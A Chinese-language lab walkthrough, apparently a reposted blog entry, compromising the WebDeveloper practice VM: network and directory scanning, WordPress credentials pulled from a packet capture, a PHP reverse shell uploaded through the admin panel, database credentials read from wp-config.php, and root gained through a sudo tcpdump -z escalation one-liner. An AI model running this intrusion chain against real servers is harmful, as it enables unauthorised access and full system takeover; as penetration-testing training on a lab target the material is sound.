当前位置: 首页 > news >正文

WebDeveloper靶机复现

靶机设置

设置靶机为NAT模式

靶机IP发现

nmap 192.168.112.0/24

靶机ip为192.168.112.137

目录扫描

开放80端口,进行目录扫描

dirb 192.168.112.137

访问浏览器

目录拼接

拼接/ipdata

发现了一个流量包

在wireshark里面查看,发现wordpress的账户密码

账号:webdeveloper

密码:Te5eQg&4sBS!Yr$)wf%(DcAd

拼接/wp-login.php

发现后台,进行登陆

登陆成功

getshell

发现可以文件上传的地方

使用kali反弹shell

cd /usr/share/webshells/php

ls

mv php-reverse-shell.php /home/kali/Desktop

vim php-reverse-shell.php

改成kali的ip进行监听

提交文件

发现上传的文件在wp-content/uploads/目录下

kali监听后点击

getshell成功

ssh登陆

sudo -l查看发现没有免密操作

shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

进入交互式shell

cd /var/www/html/ ,查看 wp-config.php 文件

发现了数据库的账号密码

账号:webdeveloper

密码:MasterOfTheUniverse

进行ssh登陆

ssh webdeveloper@192.168.112.137

登陆成功

提权

sudo -l查看免密操作

发现tcpdump操作可以执行

find / -name php-reverse-shell.php 2>/dev/null

COMMAND='php /var/www/html/wp-content/uploads/2028/08/php-reverse-shell.php'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root

提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Github 2024-08-13 开源项目日报 Top10
  • C#图片批量下载Demo
  • 在 CMakeLists.txt 中,我需要设置哪些参数来确保我的程序能够正确地链接到 ARM 架构的库?
  • RPP:多智能体强化学习 + 长期个性化推荐
  • AI Edge Torch - PyTorch 模型转换为 TensorFlow Lite 模型 (.tflite)
  • 让一切发生皆有利于我,在人生的长河中,我们常常面临诸多的不确定性和变化
  • AI模型常见的压缩技术分类
  • Prometheus+Grafana保姆笔记(1)——Prometheus+Grafana的安装
  • 【STM32系统】基于STM32设计的按键PWM控制舵机窗帘柜子门禁家居等控制系统——文末资料下载
  • docker上传镜像至阿里云
  • PHP Web服务全攻略:构建与消费的精粹指南
  • easyExcel2.1.6自动trim()的问题
  • 嵌入式八股-面试30题(20240812)
  • RocketMQ 是什么?它的架构是怎样的?和 Kafka 有什么区别?
  • 从分散到集中:TSINGSEE青犀EasyCVR视频汇聚网关在视频整体监控解决方案中的整合作用
  • 自己简单写的 事件订阅机制
  • Android Volley源码解析
  • css的样式优先级
  •  D - 粉碎叛乱F - 其他起义
  • Debian下无root权限使用Python访问Oracle
  • Fabric架构演变之路
  • Github访问慢解决办法
  • java8-模拟hadoop
  • Java比较器对数组,集合排序
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • Redash本地开发环境搭建
  • Spring技术内幕笔记(2):Spring MVC 与 Web
  • vue脚手架vue-cli
  • yii2权限控制rbac之rule详细讲解
  • 前端性能优化——回流与重绘
  • 让你的分享飞起来——极光推出社会化分享组件
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 如何合理的规划jvm性能调优
  • 手机端车牌号码键盘的vue组件
  • 在Docker Swarm上部署Apache Storm:第1部分
  • 《天龙八部3D》Unity技术方案揭秘
  • k8s使用glusterfs实现动态持久化存储
  • ​学习一下,什么是预包装食品?​
  • # 利刃出鞘_Tomcat 核心原理解析(七)
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • #define、const、typedef的差别
  • #数据结构 笔记一
  • (5)STL算法之复制
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (Redis使用系列) Springboot 使用redis的List数据结构实现简单的排队功能场景 九
  • (附源码)springboot电竞专题网站 毕业设计 641314
  • (回溯) LeetCode 78. 子集
  • (原創) 未来三学期想要修的课 (日記)
  • (转)MVC3 类型“System.Web.Mvc.ModelClientValidationRule”同时存在
  • (转)shell中括号的特殊用法 linux if多条件判断
  • (转)编辑寄语:因为爱心,所以美丽
  • (转)可以带来幸福的一本书
  • .[hudsonL@cock.li].mkp勒索加密数据库完美恢复---惜分飞
  • .halo勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .mysql secret在哪_MYSQL基本操作(上)